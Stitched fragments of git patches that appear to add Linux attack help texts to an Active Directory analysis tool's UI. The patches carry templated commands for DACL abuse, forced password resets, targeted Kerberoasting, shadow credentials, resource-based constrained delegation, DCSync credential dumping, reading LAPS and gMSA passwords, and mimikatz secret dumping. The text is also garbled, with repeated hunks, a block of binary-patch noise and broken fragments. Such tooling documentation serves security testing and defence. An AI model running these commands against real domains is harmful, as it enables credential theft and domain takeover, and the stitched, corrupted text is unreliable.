- SPN set, a new attacker-controlled computer account can be
- added with Impacket's addcomputer.py example script:
-
- We can then get a service ticket for the service name (sname) we
- want to "pretend" to be "admin" for. Impacket's getST.py example script
- can be used for that purpose.
-
- This ticket can then be used with Pass-the-Ticket, and could grant access
- to the file system of the TARGETCOMPUTER.
-
- First, if an attacker does not control an account with an
- SPN set, a new attacker-controlled computer account can be
- added with Impacket's addcomputer.py example script:
-
- We can then get a service ticket for the service name (sname) we
- want to "pretend" to be "admin" for. Impacket's getST.py example script
- can be used for that purpose.
-
- This ticket can then be used with Pass-the-Ticket, and could grant access
- to the file system of the TARGETCOMPUTER.
-
- LAPSDumper can be used
+ pyLAPS can be used
to retrieve LAPS passwords:
- LAPSDumper can be used
+ pyLAPS can be used
for that purpose:
- LAPSDumper can be used
+ pyLAPS can be used
to retrieve LAPS passwords:
- LAPSDumper can be used
+ pyLAPS can be used
for that purpose:
- LAPSDumper can be used
+ pyLAPS can be used
to retrieve LAPS passwords:
- LAPSDumper can be used
+ pyLAPS can be used
for that purpose:
- LAPSDumper can be used
+ pyLAPS can be used
to retrieve LAPS passwords:
- LAPSDumper can be used
+ pyLAPS can be used
to retrieve LAPS passwords:
- LAPSDumper can be used
+ pyLAPS can be used
for that purpose:
- LAPSDumper can be used
+ pyLAPS can be used
to retrieve LAPS passwords:
- LAPSDumper can be used
+ pyLAPS can be used
for that purpose:
cBudzRVv;iA60Br!W
zbcmJWxl(r_1>|=${SRZA_vU5=!x6E}aaL?+rt+c~WQ(0l@zYE>b_%b+b2Rc-Qf%hm
zIM@(vpu1f^$iD8u27(P>T*1^!;l+0=Kr~6*Umn$<8|X)LzVm1ww+R-%iE?Yi50=Eu
z)DrvvE>n*mwSX%Ar=P{9sHFbc9TWAP+?Np!hMeJkKjbgm_NYIe;554RuC+=1&A^)T
zRpb}mK+pM_3qZV+7G^UmB@L1HFdMggHqdxRUZw&gm3FnRaZF}N7daiz!fBNs(c}UX
z{AbVoZmCWi{lYP$HA?T2X)roVxsFFnPDScq1(VK;O?VT@aQr5BwVuoK4n87xv_Q^~
zY!@5QDvj S)WM%-~%^udqF
zmdECfG&iQdeX5{Nh2EY_zQ4VPK0!(_d@N0VQlk)Bqr@}Y$5HEdxri!BN1r~xO%Oz(
zat;cO%W1;40pduQ`yvqq7=pZ>&1yOMY2vXuG`o-ihtRY4U2mP~p$7DLT6iEp?{#-S
zctO7LT}AvxA&D~}w;g<)4lUZ$-+w=GH^YzQ0C`LVKx-@R2$FhP$#L=-jivJPQg>
z|8W|3x8Kzs9DTeEk(sR9vQ<)XcLg=3Pca@`n=N~rUeEW %eR++pleFCe^N&pni}Rud
zSw=(lkTQV0@w$3k_W5~T^e6Vtq|9#X=uKF;sQ!$eyC5i}NBUJrl>Q1zW}Yg&GUMC(
z=k;-QE;n;jy9;puQAbmCThq~2{$(lf1uEofnZ~d4o{X8~CmXhd?SC4o3;zkwpuV?l
zypKD9^qo8E9&10KVQTPpkiRIaL{S!LJjRP9uDj0N@G^uoP3@g}DS<10l0I+t1#G!5
zX-M{yzXn-g!zJ&BHGERct*A}5bR!?q@oqE-e?J@-w&wvwC81v~e36)%ZD1uJdd&Rk
zR9ZtW4_WkASL(=ek ^eB{5FQ8>VW^zp>gZ!#+*vG4W >j
z%M2}2sigCw(jVqadNx|uSv>1~dWWO}IKYH^-=lQq9%SZZn_%u@zj(>NzVFmE6S*DC
z^^cu@W>`ZK`3SgLE^mz#3gzZ1EE1e`Qf@0j5}A{yXHT3KR(pI*Z6-KA+$qF9mg1(s
zu;3-q{)n2tcX*smJP7O9bKLIhE3~y0W?4GcA6`&Z5)t1!IUTK;N{>HV9;((8{8d1(
zO(?`DB^hS^Ag4VZ`+()WH?8nf8`VxtqcD!XH8+vQS|)cA0*yF^8>2aOgn~8`m%Cw7
z0r
+
+
+
+ {
+ "secretsdump 'testlab.local'/'Administrator':'Password'@'DOMAINCONTROLLER'"
+ }
+
+
+
+
+
+ {
+ "secretsdump 'testlab.local'/'Administrator':'Password'@'DOMAINCONTROLLER'"
+ }
+
+
+
+ https://www.thehacker.recipes/ad/movement/credentials/dumping/dcsync
+
>
);
};
diff --git a/src/components/Modals/HelpTexts/GetChangesAll/References.jsx b/src/components/Modals/HelpTexts/GetChangesAll/References.jsx
index c9efb1890..ee2a95b3a 100644
--- a/src/components/Modals/HelpTexts/GetChangesAll/References.jsx
+++ b/src/components/Modals/HelpTexts/GetChangesAll/References.jsx
@@ -10,6 +10,10 @@ const References = () => {
https://blog.harmj0y.net/redteaming/mimikatz-and-dcsync-and-extrasids-oh-my/
+
+
+ https://www.thehacker.recipes/ad/movement/credentials/dumping/dcsync
+
>
);
};
From df384f389a6f2c3a3faa736eb6b7573c613d6351 Mon Sep 17 00:00:00 2001
From: Shutdown Targeted Descendent Object Takeoever
- Control of the Organization Unit
-
- Generic Descendent Object Takeover
-
-
-
-
- {
- "dacledit.py -action 'write' -rights 'FullControl' -inheritance -principal 'JKHOLER' -target-dn 'OUDistinguishedName' 'domain'/'user':'password'"
- }
-
- Targeted Descendent Object Takeoever
-
Modifying the rights
+
+
+
+
+
+ {
+ "dacledit.py -action 'write' -rights 'WriteMembers' -principal 'controlledUser' -target-dn 'groupDistinguidedName' 'domain'/'controlledUser':'password'"
+ }
+
+ Adding to the group
+
+
+
+
+
+ {
+ 'net rpc group addmem "TargetGroup" "TargetUser" -U "DOMAIN"/"ControlledUser"%"Password" -S "DomainController"'
+ }
+
+ ffffffffffffffffffffffffffffffff
.
+
+
+
+
+ {
+ 'pth-net rpc group addmem "TargetGroup" "TargetUser" -U "DOMAIN"/"ControlledUser"%"LMhash":"NThash" -S "DomainController"'
+ }
+
+
+
+
+
+ {
+ 'net rpc group members "TargetGroup" -U "DOMAIN"/"ControlledUser"%"Password" -S "DomainController"'
+ }
+
+ Cleanup
+
+
+
+ >
+ );
+
+ case 'User':
+ return (
+ <>
+
+ {
+ "dacledit.py -action 'remove' -rights 'WriteMembers' -principal 'controlledUser' -target-dn 'groupDistinguidedName' 'domain'/'controlledUser':'password'"
+ }
+
+
+
+
+
+ {
+ "dacledit.py -action 'write' -rights 'FullControl' -principal 'controlledUser' -target 'targetUser' 'domain'/'controlledUser':'password'"
+ }
+
+ Targeted Kerberoast
+
+
+
+
+
+ {
+ "targetedKerberoast.py -v -d 'domain.local' -u 'controlledUser' -p 'ItsPassword'"
+ }
+
+ Force Change Password
+
+
+
+
+
+ {
+ 'net rpc password "TargetUser" "newP@ssword2022" -U "DOMAIN"/"ControlledUser"%"Password" -S "DomainController"'
+ }
+
+ ffffffffffffffffffffffffffffffff
.
+
+
+
+ {
+ 'pth-net rpc password "TargetUser" "newP@ssword2022" -U "DOMAIN"/"ControlledUser"%"LMhash":"NThash" -S "DomainController"'
+ }
+
+ Shadow Credentials attack
+
+
+
+
+ {'pywhisker.py -d "domain.local" -u "controlledAccount" -p "somepassword" --target "targetAccount" --action "add"'}
+
+
+
+
+ {
+ "dacledit.py -action 'write' -rights 'FullControl' -principal 'controlledUser' -target 'targetUser' 'domain'/'controlledUser':'password'"
+ }
+
+ Retrieve LAPS Password
+
+
+
+
+
+ {
+ 'laps.py --action get -d "DOMAIN" -u "ControlledUser" -p "ItsPassword"'
+ }
+
+ Resource-Based Constrained Delegation
+
+
+
+
+
+ {
+ "addcomputer.py -method LDAPS -computer-name 'ATTACKERSYSTEM$' -computer-pass 'Summer2018!' -dc-host $DomainController -domain-netbios $DOMAIN 'domain/user:password'"
+ }
+
+
+
+
+
+ {
+ "getST.py -spn 'cifs/targetcomputer.testlab.local' -impersonate 'admin' 'domain/attackersystem$:Summer2018!'"
+ }
+
+ Shadow Credentials attack
+
+
+
+
+ {'pywhisker.py -d "domain.local" -u "controlledAccount" -p "somepassword" --target "targetAccount" --action "add"'}
+
+
+
+
+ {
+ "dacledit.py -action 'write' -rights 'FullControl' -principal 'controlledUser' -target 'targetUser' 'domain'/'controlledUser':'password'"
+ }
+
+ Resource-Based Constrained Delegation
+
+
+
+
+
+ {
+ "addcomputer.py -method LDAPS -computer-name 'ATTACKERSYSTEM$' -computer-pass 'Summer2018!' -dc-host $DomainController -domain-netbios $DOMAIN 'domain/user:password'"
+ }
+
+
+
+
+
+ {
+ "getST.py -spn 'cifs/targetcomputer.testlab.local' -impersonate 'admin' 'domain/attackersystem$:Summer2018!'"
+ }
+
+ Shadow Credentials attack
+
+
+
+
+ {'pywhisker.py -d "domain.local" -u "controlledAccount" -p "somepassword" --target "targetAccount" --action "add"'}
+
+
+
+
+ {
+ "dacledit.py -action 'DCSync' -rights 'FullControl' -principal 'controlledUser' -target-dn 'DomainDisinguishedName' 'domain'/'controlledUser':'password'"
+ }
+
+ DCSync
+
+
+
+
+
+ {
+ "secretsdump 'DOMAIN'/'USER':'PASSWORD'@'DOMAINCONTROLLER'"
+ }
+
+ Retrieve LAPS Passwords
+
+
+
+ >
+ );
+ case 'GPO':
+ return (
+ <>
+
+ {
+ 'laps.py --action get -d "DOMAIN" -u "ControlledUser" -p "ItsPassword"'
+ }
+
+
+
+
+
+ {
+ "dacledit.py -action 'write' -rights 'FullControl' -principal 'controlledUser' -target 'targetUser' 'domain'/'controlledUser':'password'"
+ }
+
+ Control of the Organization Unit
+
+ Generic Descendent Object Takeover
+
+
+
+
+ {
+ "dacledit.py -action 'write' -rights 'FullControl' -inheritance -principal 'JKHOLER' -target-dn 'OUDistinguishedName' 'domain'/'user':'password'"
+ }
+
+ Targeted Descendent Object Takeoever
+
+ Control of the Container
+
+ Generic Descendent Object Takeover
+
+
+
+
+ {
+ "dacledit.py -action 'write' -rights 'FullControl' -inheritance -principal 'JKHOLER' -target-dn 'containerDistinguishedName' 'domain'/'user':'password'"
+ }
+
+ Targeted Descendent Object Takeoever
+
+
+
+ https://www.thehacker.recipes/ad/movement/dacl/addmember
+
+
+
+ https://www.thehacker.recipes/ad/movement/dacl/grant-rights
+
>
);
};
diff --git a/src/components/Modals/HelpTexts/Owns/Abuse.jsx b/src/components/Modals/HelpTexts/Owns/WindowsAbuse.jsx
similarity index 99%
rename from src/components/Modals/HelpTexts/Owns/Abuse.jsx
rename to src/components/Modals/HelpTexts/Owns/WindowsAbuse.jsx
index 84850dc5a..abfaf77d8 100644
--- a/src/components/Modals/HelpTexts/Owns/Abuse.jsx
+++ b/src/components/Modals/HelpTexts/Owns/WindowsAbuse.jsx
@@ -1,7 +1,7 @@
import React from 'react';
import PropTypes from 'prop-types';
-const Abuse = ({
+const WindowsAbuse = ({
sourceName,
sourceType,
targetName,
@@ -912,7 +912,7 @@ const Abuse = ({
}
};
-Abuse.propTypes = {
+WindowsAbuse.propTypes = {
sourceName: PropTypes.string,
sourceType: PropTypes.string,
targetName: PropTypes.string,
@@ -921,4 +921,4 @@ Abuse.propTypes = {
haslaps: PropTypes.bool,
};
-export default Abuse;
+export default WindowsAbuse;
From 17f2773cf72620ecd971984fc9c9c1a300feff8b Mon Sep 17 00:00:00 2001
From: Shutdown
+
+ https://www.thehacker.recipes/ad/movement/dacl/targeted-kerberoasting
+
+
+
+ https://www.thehacker.recipes/ad/movement/group-policies
+
+
+
+ https://www.thehacker.recipes/ad/movement/dacl/forcechangepassword
+
+
+
+ https://www.thehacker.recipes/ad/movement/kerberos/shadow-credentials
+
+
+
+ https://www.thehacker.recipes/ad/movement/credentials/dumping/dcsync
+
+
+
+ https://www.thehacker.recipes/ad/movement/kerberos/delegations/rbcd
+
+
https://www.thehacker.recipes/ad/movement/dacl/grant-rights
From d3d67a8f2e97e844cc83788fcb61e0000b31a1ab Mon Sep 17 00:00:00 2001
From: Shutdown
+
+
+
+ {
+ "gMSADumper.py -u 'user' -p 'password' -d 'domain.local'"
+ }
+
+
+
+ https://www.thehacker.recipes/ad/movement/dacl/readgmsapassword
+
>
);
};
diff --git a/src/components/Modals/HelpTexts/ReadGMSAPassword/Abuse.jsx b/src/components/Modals/HelpTexts/ReadGMSAPassword/WindowsAbuse.jsx
similarity index 97%
rename from src/components/Modals/HelpTexts/ReadGMSAPassword/Abuse.jsx
rename to src/components/Modals/HelpTexts/ReadGMSAPassword/WindowsAbuse.jsx
index 80dce418d..0cb000bdd 100644
--- a/src/components/Modals/HelpTexts/ReadGMSAPassword/Abuse.jsx
+++ b/src/components/Modals/HelpTexts/ReadGMSAPassword/WindowsAbuse.jsx
@@ -1,6 +1,6 @@
import React from "react";
-const Abuse = () => {
+const WindowsAbuse = () => {
return (
<>
+
+ >
+ );
+};
+
+LinuxAbuse.propTypes = {
+ sourceName: PropTypes.string,
+ sourceType: PropTypes.string,
+};
+
+export default LinuxAbuse;
diff --git a/src/components/Modals/HelpTexts/ReadLAPSPassword/ReadLAPSPassword.jsx b/src/components/Modals/HelpTexts/ReadLAPSPassword/ReadLAPSPassword.jsx
index 905a3b938..8cdf4e1a7 100644
--- a/src/components/Modals/HelpTexts/ReadLAPSPassword/ReadLAPSPassword.jsx
+++ b/src/components/Modals/HelpTexts/ReadLAPSPassword/ReadLAPSPassword.jsx
@@ -2,7 +2,8 @@ import React from 'react';
import PropTypes from 'prop-types';
import { Tabs, Tab } from 'react-bootstrap';
import General from './General';
-import Abuse from './Abuse';
+import WindowsAbuse from './WindowsAbuse';
+import LinuxAbuse from './LinuxAbuse';
import Opsec from './Opsec';
import References from './References';
@@ -21,13 +22,16 @@ const ReadLAPSPassword = ({
targetName={targetName}
/>
+ {
+ 'laps.py --action get -d "DOMAIN" -u "ControlledUser" -p "ItsPassword"'
+ }
+
+
+
+ We now need to configure the target object so that the attacker-controlled
+ computer can delegate to it. Impacket's rbcd.py script can be used for that
+ purpose:
+
+ {
+ "addcomputer.py -method LDAPS -computer-name 'ATTACKERSYSTEM$' -computer-pass 'Summer2018!' -dc-host $DomainController -domain-netbios $DOMAIN 'domain/user:password'"
+ }
+
+
+
+ And finally we can get a service ticket for the service name (sname) we
+ want to "pretend" to be "admin" for. Impacket's getST.py example script
+ can be used for that purpose.
+
+ {
+ "rbcd.py -delegate-from 'ATTACKERSYSTEM$' -delegate-to 'TargetComputer' -action 'write' 'domain/user:password'"
+ }
+
+
+
+ This ticket can then be used with Pass-the-Ticket, and could grant access
+ to the file system of the TARGETCOMPUTER.
+ >
+ );
+};
+
+export default LinuxAbuse;
diff --git a/src/components/Modals/HelpTexts/WriteAccountRestrictions/References.jsx b/src/components/Modals/HelpTexts/WriteAccountRestrictions/References.jsx
index c158d8c24..40c611c4b 100644
--- a/src/components/Modals/HelpTexts/WriteAccountRestrictions/References.jsx
+++ b/src/components/Modals/HelpTexts/WriteAccountRestrictions/References.jsx
@@ -29,6 +29,18 @@ const References = () => {
https://github.com/Kevin-Robertson/Powermad#new-machineaccount
+
+ {
+ "getST.py -spn 'cifs/targetcomputer.testlab.local' -impersonate 'admin' 'domain/attackersystem$:Summer2018!'"
+ }
+
+
+
+ https://www.thehacker.recipes/ad/movement/dacl
+
+
+
+ https://www.thehacker.recipes/ad/movement/domain-settings/machineaccountquota
+
+
+
+ https://www.thehacker.recipes/ad/movement/kerberos/delegations/rbcd
+
>
);
};
diff --git a/src/components/Modals/HelpTexts/WriteAccountRestrictions/Abuse.jsx b/src/components/Modals/HelpTexts/WriteAccountRestrictions/WindowsAbuse.jsx
similarity index 97%
rename from src/components/Modals/HelpTexts/WriteAccountRestrictions/Abuse.jsx
rename to src/components/Modals/HelpTexts/WriteAccountRestrictions/WindowsAbuse.jsx
index 61e3d6892..0fe766b97 100644
--- a/src/components/Modals/HelpTexts/WriteAccountRestrictions/Abuse.jsx
+++ b/src/components/Modals/HelpTexts/WriteAccountRestrictions/WindowsAbuse.jsx
@@ -1,6 +1,6 @@
import React from 'react';
-const Abuse = () => {
+const WindowsAbuse = () => {
return (
<>
Abusing this primitive is currently only possible through the Rubeus
@@ -61,4 +61,4 @@ const Abuse = () => {
);
};
-export default Abuse;
+export default WindowsAbuse;
diff --git a/src/components/Modals/HelpTexts/WriteAccountRestrictions/WriteAccountRestrictions.jsx b/src/components/Modals/HelpTexts/WriteAccountRestrictions/WriteAccountRestrictions.jsx
index 2f3254bf8..5b0033a7e 100644
--- a/src/components/Modals/HelpTexts/WriteAccountRestrictions/WriteAccountRestrictions.jsx
+++ b/src/components/Modals/HelpTexts/WriteAccountRestrictions/WriteAccountRestrictions.jsx
@@ -2,7 +2,8 @@ import React from 'react';
import PropTypes from 'prop-types';
import { Tabs, Tab } from 'react-bootstrap';
import General from './General';
-import Abuse from './Abuse';
+import WindowsAbuse from './WindowsAbuse';
+import LinuxAbuse from './LinuxAbuse';
import Opsec from './Opsec';
import References from './References';
@@ -21,13 +22,16 @@ const WriteAccountRestrictions = ({
targetName={targetName}
/>
Modifying the rights
+
+
+
+
+
+ {
+ "dacledit.py -action 'write' -rights 'WriteMembers' -principal 'controlledUser' -target-dn 'groupDistinguidedName' 'domain'/'controlledUser':'password'"
+ }
+
+ Adding to the group
+
+
+
+
+
+ {
+ 'net rpc group addmem "TargetGroup" "TargetUser" -U "DOMAIN"/"ControlledUser"%"Password" -S "DomainController"'
+ }
+
+ ffffffffffffffffffffffffffffffff
.
+
+
+
+
+ {
+ 'pth-net rpc group addmem "TargetGroup" "TargetUser" -U "DOMAIN"/"ControlledUser"%"LMhash":"NThash" -S "DomainController"'
+ }
+
+
+
+
+
+ {
+ 'net rpc group members "TargetGroup" -U "DOMAIN"/"ControlledUser"%"Password" -S "DomainController"'
+ }
+
+ Cleanup
+
+
+
+ >
+ );
+
+ case 'User':
+ return (
+ <>
+
+ {
+ "dacledit.py -action 'remove' -rights 'WriteMembers' -principal 'controlledUser' -target-dn 'groupDistinguidedName' 'domain'/'controlledUser':'password'"
+ }
+
+
+
+
+
+ {
+ "dacledit.py -action 'write' -rights 'FullControl' -principal 'controlledUser' -target 'targetUser' 'domain'/'controlledUser':'password'"
+ }
+
+ Targeted Kerberoast
+
+
+
+
+
+ {
+ "targetedKerberoast.py -v -d 'domain.local' -u 'controlledUser' -p 'ItsPassword'"
+ }
+
+ Force Change Password
+
+
+
+
+
+ {
+ 'net rpc password "TargetUser" "newP@ssword2022" -U "DOMAIN"/"ControlledUser"%"Password" -S "DomainController"'
+ }
+
+ ffffffffffffffffffffffffffffffff
.
+
+
+
+ {
+ 'pth-net rpc password "TargetUser" "newP@ssword2022" -U "DOMAIN"/"ControlledUser"%"LMhash":"NThash" -S "DomainController"'
+ }
+
+ Shadow Credentials attack
+
+
+
+
+ {'pywhisker.py -d "domain.local" -u "controlledAccount" -p "somepassword" --target "targetAccount" --action "add"'}
+
+
+
+
+ {
+ "dacledit.py -action 'write' -rights 'FullControl' -principal 'controlledUser' -target 'targetUser' 'domain'/'controlledUser':'password'"
+ }
+
+ Retrieve LAPS Password
+
+
+
+
+
+ {
+ 'laps.py --action get -d "DOMAIN" -u "ControlledUser" -p "ItsPassword"'
+ }
+
+ Resource-Based Constrained Delegation
+
+
+
+
+
+ {
+ "addcomputer.py -method LDAPS -computer-name 'ATTACKERSYSTEM$' -computer-pass 'Summer2018!' -dc-host $DomainController -domain-netbios $DOMAIN 'domain/user:password'"
+ }
+
+
+
+
+
+ {
+ "getST.py -spn 'cifs/targetcomputer.testlab.local' -impersonate 'admin' 'domain/attackersystem$:Summer2018!'"
+ }
+
+ Shadow Credentials attack
+
+
+
+
+ {'pywhisker.py -d "domain.local" -u "controlledAccount" -p "somepassword" --target "targetAccount" --action "add"'}
+
+
+
+
+ {
+ "dacledit.py -action 'write' -rights 'FullControl' -principal 'controlledUser' -target 'targetUser' 'domain'/'controlledUser':'password'"
+ }
+
+ Resource-Based Constrained Delegation
+
+
+
+
+
+ {
+ "addcomputer.py -method LDAPS -computer-name 'ATTACKERSYSTEM$' -computer-pass 'Summer2018!' -dc-host $DomainController -domain-netbios $DOMAIN 'domain/user:password'"
+ }
+
+
+
+
+
+ {
+ "getST.py -spn 'cifs/targetcomputer.testlab.local' -impersonate 'admin' 'domain/attackersystem$:Summer2018!'"
+ }
+
+ Shadow Credentials attack
+
+
+
+
+ {'pywhisker.py -d "domain.local" -u "controlledAccount" -p "somepassword" --target "targetAccount" --action "add"'}
+
+
+
+
+ {
+ "dacledit.py -action 'DCSync' -rights 'FullControl' -principal 'controlledUser' -target-dn 'DomainDisinguishedName' 'domain'/'controlledUser':'password'"
+ }
+
+ DCSync
+
+
+
+
+
+ {
+ "secretsdump 'DOMAIN'/'USER':'PASSWORD'@'DOMAINCONTROLLER'"
+ }
+
+ Retrieve LAPS Passwords
+
+
+
+ >
+ );
+ case 'GPO':
+ return (
+ <>
+
+ {
+ 'laps.py --action get -d "DOMAIN" -u "ControlledUser" -p "ItsPassword"'
+ }
+
+
+
+
+
+ {
+ "dacledit.py -action 'write' -rights 'FullControl' -principal 'controlledUser' -target 'targetUser' 'domain'/'controlledUser':'password'"
+ }
+
+ Control of the Organization Unit
+
+ Generic Descendent Object Takeover
+
+
+
+
+ {
+ "dacledit.py -action 'write' -rights 'FullControl' -inheritance -principal 'JKHOLER' -target-dn 'OUDistinguishedName' 'domain'/'user':'password'"
+ }
+
+ Targeted Descendent Object Takeoever
+
+ Control of the Container
+
+ Generic Descendent Object Takeover
+
+
+
+
+ {
+ "dacledit.py -action 'write' -rights 'FullControl' -inheritance -principal 'JKHOLER' -target-dn 'containerDistinguishedName' 'domain'/'user':'password'"
+ }
+
+ Targeted Descendent Object Takeoever
+
+
+
+ https://github.com/Kevin-Robertson/Powermad#new-machineaccount
+
+
+
+ https://www.thehacker.recipes/ad/movement/dacl/addmember
+
+
+
+ https://www.thehacker.recipes/ad/movement/dacl/targeted-kerberoasting
+
+
+
+ https://www.thehacker.recipes/ad/movement/group-policies
+
+
+
+ https://www.thehacker.recipes/ad/movement/dacl/forcechangepassword
+
+
+
+ https://www.thehacker.recipes/ad/movement/kerberos/shadow-credentials
+
+
+
+ https://www.thehacker.recipes/ad/movement/credentials/dumping/dcsync
+
+
+
+ https://www.thehacker.recipes/ad/movement/kerberos/delegations/rbcd
+
+
+
+ https://www.thehacker.recipes/ad/movement/dacl/grant-rights
+
>
);
};
diff --git a/src/components/Modals/HelpTexts/WriteDacl/Abuse.jsx b/src/components/Modals/HelpTexts/WriteDacl/WindowsAbuse.jsx
similarity index 99%
rename from src/components/Modals/HelpTexts/WriteDacl/Abuse.jsx
rename to src/components/Modals/HelpTexts/WriteDacl/WindowsAbuse.jsx
index 56b3098c8..4d622128e 100644
--- a/src/components/Modals/HelpTexts/WriteDacl/Abuse.jsx
+++ b/src/components/Modals/HelpTexts/WriteDacl/WindowsAbuse.jsx
@@ -1,7 +1,7 @@
import React from 'react';
import PropTypes from 'prop-types';
-const Abuse = ({
+const WindowsAbuse = ({
sourceName,
sourceType,
targetName,
@@ -840,7 +840,7 @@ const Abuse = ({
}
};
-Abuse.propTypes = {
+WindowsAbuse.propTypes = {
sourceName: PropTypes.string,
sourceType: PropTypes.string,
targetName: PropTypes.string,
@@ -849,4 +849,4 @@ Abuse.propTypes = {
haslaps: PropTypes.bool,
};
-export default Abuse;
+export default WindowsAbuse;
diff --git a/src/components/Modals/HelpTexts/WriteDacl/WriteDacl.jsx b/src/components/Modals/HelpTexts/WriteDacl/WriteDacl.jsx
index e0239efcd..41e268820 100644
--- a/src/components/Modals/HelpTexts/WriteDacl/WriteDacl.jsx
+++ b/src/components/Modals/HelpTexts/WriteDacl/WriteDacl.jsx
@@ -2,7 +2,8 @@ import React from 'react';
import PropTypes from 'prop-types';
import { Tabs, Tab } from 'react-bootstrap';
import General from './General';
-import Abuse from './Abuse';
+import WindowsAbuse from './WindowsAbuse';
+import LinuxAbuse from './LinuxAbuse';
import Opsec from './Opsec';
import References from './References';
@@ -23,8 +24,8 @@ const WriteDacl = ({
targetType={targetType}
/>
+
+
+
+ {
+ "owneredit.py -action write -owner 'attacker' -target 'victim' 'DOMAIN'/'USER':'PASSWORD'"
+ }
+
+ Modifying the rights
+
+
+
+
+
+ {
+ "dacledit.py -action 'write' -rights 'WriteMembers' -principal 'controlledUser' -target-dn 'groupDistinguidedName' 'domain'/'controlledUser':'password'"
+ }
+
+ Adding to the group
+
+
+
+
+
+ {
+ 'net rpc group addmem "TargetGroup" "TargetUser" -U "DOMAIN"/"ControlledUser"%"Password" -S "DomainController"'
+ }
+
+ ffffffffffffffffffffffffffffffff
.
+
+
+
+
+ {
+ 'pth-net rpc group addmem "TargetGroup" "TargetUser" -U "DOMAIN"/"ControlledUser"%"LMhash":"NThash" -S "DomainController"'
+ }
+
+
+
+
+
+ {
+ 'net rpc group members "TargetGroup" -U "DOMAIN"/"ControlledUser"%"Password" -S "DomainController"'
+ }
+
+ Cleanup
+
+
+
+ >
+ );
+
+ case 'User':
+ return (
+ <>
+
+ {
+ "dacledit.py -action 'remove' -rights 'WriteMembers' -principal 'controlledUser' -target-dn 'groupDistinguidedName' 'domain'/'controlledUser':'password'"
+ }
+
+
+
+
+
+ {
+ "owneredit.py -action write -owner 'attacker' -target 'victim' 'DOMAIN'/'USER':'PASSWORD'"
+ }
+
+
+
+
+
+ {
+ "dacledit.py -action 'write' -rights 'FullControl' -principal 'controlledUser' -target 'targetUser' 'domain'/'controlledUser':'password'"
+ }
+
+ Targeted Kerberoast
+
+
+
+
+
+ {
+ "targetedKerberoast.py -v -d 'domain.local' -u 'controlledUser' -p 'ItsPassword'"
+ }
+
+ Force Change Password
+
+
+
+
+
+ {
+ 'net rpc password "TargetUser" "newP@ssword2022" -U "DOMAIN"/"ControlledUser"%"Password" -S "DomainController"'
+ }
+
+ ffffffffffffffffffffffffffffffff
.
+
+
+
+ {
+ 'pth-net rpc password "TargetUser" "newP@ssword2022" -U "DOMAIN"/"ControlledUser"%"LMhash":"NThash" -S "DomainController"'
+ }
+
+ Shadow Credentials attack
+
+
+
+
+ {'pywhisker.py -d "domain.local" -u "controlledAccount" -p "somepassword" --target "targetAccount" --action "add"'}
+
+
+
+
+ {
+ "owneredit.py -action write -owner 'attacker' -target 'victim' 'DOMAIN'/'USER':'PASSWORD'"
+ }
+
+
+
+
+
+ {
+ "dacledit.py -action 'write' -rights 'FullControl' -principal 'controlledUser' -target 'targetUser' 'domain'/'controlledUser':'password'"
+ }
+
+ Retrieve LAPS Password
+
+
+
+
+
+ {
+ 'laps.py --action get -d "DOMAIN" -u "ControlledUser" -p "ItsPassword"'
+ }
+
+ Resource-Based Constrained Delegation
+
+
+
+
+
+ {
+ "addcomputer.py -method LDAPS -computer-name 'ATTACKERSYSTEM$' -computer-pass 'Summer2018!' -dc-host $DomainController -domain-netbios $DOMAIN 'domain/user:password'"
+ }
+
+
+
+
+
+ {
+ "getST.py -spn 'cifs/targetcomputer.testlab.local' -impersonate 'admin' 'domain/attackersystem$:Summer2018!'"
+ }
+
+ Shadow Credentials attack
+
+
+
+
+ {'pywhisker.py -d "domain.local" -u "controlledAccount" -p "somepassword" --target "targetAccount" --action "add"'}
+
+
+
+
+ {
+ "owneredit.py -action write -owner 'attacker' -target 'victim' 'DOMAIN'/'USER':'PASSWORD'"
+ }
+
+
+
+
+
+ {
+ "dacledit.py -action 'write' -rights 'FullControl' -principal 'controlledUser' -target 'targetUser' 'domain'/'controlledUser':'password'"
+ }
+
+ Resource-Based Constrained Delegation
+
+
+
+
+
+ {
+ "addcomputer.py -method LDAPS -computer-name 'ATTACKERSYSTEM$' -computer-pass 'Summer2018!' -dc-host $DomainController -domain-netbios $DOMAIN 'domain/user:password'"
+ }
+
+
+
+
+
+ {
+ "getST.py -spn 'cifs/targetcomputer.testlab.local' -impersonate 'admin' 'domain/attackersystem$:Summer2018!'"
+ }
+
+ Shadow Credentials attack
+
+
+
+
+ {'pywhisker.py -d "domain.local" -u "controlledAccount" -p "somepassword" --target "targetAccount" --action "add"'}
+
+
+
+
+ {
+ "owneredit.py -action write -owner 'attacker' -target 'victim' 'DOMAIN'/'USER':'PASSWORD'"
+ }
+
+
+
+
+
+ {
+ "dacledit.py -action 'DCSync' -rights 'FullControl' -principal 'controlledUser' -target-dn 'DomainDisinguishedName' 'domain'/'controlledUser':'password'"
+ }
+
+ DCSync
+
+
+
+
+
+ {
+ "secretsdump 'DOMAIN'/'USER':'PASSWORD'@'DOMAINCONTROLLER'"
+ }
+
+ Retrieve LAPS Passwords
+
+
+
+ >
+ );
+ case 'GPO':
+ return (
+ <>
+
+ {
+ 'laps.py --action get -d "DOMAIN" -u "ControlledUser" -p "ItsPassword"'
+ }
+
+
+
+
+
+ {
+ "owneredit.py -action write -owner 'attacker' -target 'victim' 'DOMAIN'/'USER':'PASSWORD'"
+ }
+
+
+
+
+
+ {
+ "dacledit.py -action 'write' -rights 'FullControl' -principal 'controlledUser' -target 'targetUser' 'domain'/'controlledUser':'password'"
+ }
+
+
+
+
+
+ {
+ "owneredit.py -action write -owner 'attacker' -target 'victim' 'DOMAIN'/'USER':'PASSWORD'"
+ }
+
+ Control of the Organization Unit
+
+ Generic Descendent Object Takeover
+
+
+
+
+ {
+ "dacledit.py -action 'write' -rights 'FullControl' -inheritance -principal 'JKHOLER' -target-dn 'OUDistinguishedName' 'domain'/'user':'password'"
+ }
+
+ Targeted Descendent Object Takeoever
+
+
+
+
+
+ {
+ "owneredit.py -action write -owner 'attacker' -target 'victim' 'DOMAIN'/'USER':'PASSWORD'"
+ }
+
+ Control of the Container
+
+ Generic Descendent Object Takeover
+
+
+
+
+ {
+ "dacledit.py -action 'write' -rights 'FullControl' -inheritance -principal 'JKHOLER' -target-dn 'containerDistinguishedName' 'domain'/'user':'password'"
+ }
+
+ Targeted Descendent Object Takeoever
+
+
+
+
+
+ {
+ "targetedKerberoast.py -v -d 'domain.local' -u 'controlledUser' -p 'ItsPassword'"
+ }
+
+
+
+
+
+ {
+ "privilege::debug\n" +
+ "token::elevate\n" +
+ "lsadump::secrets"
+ }
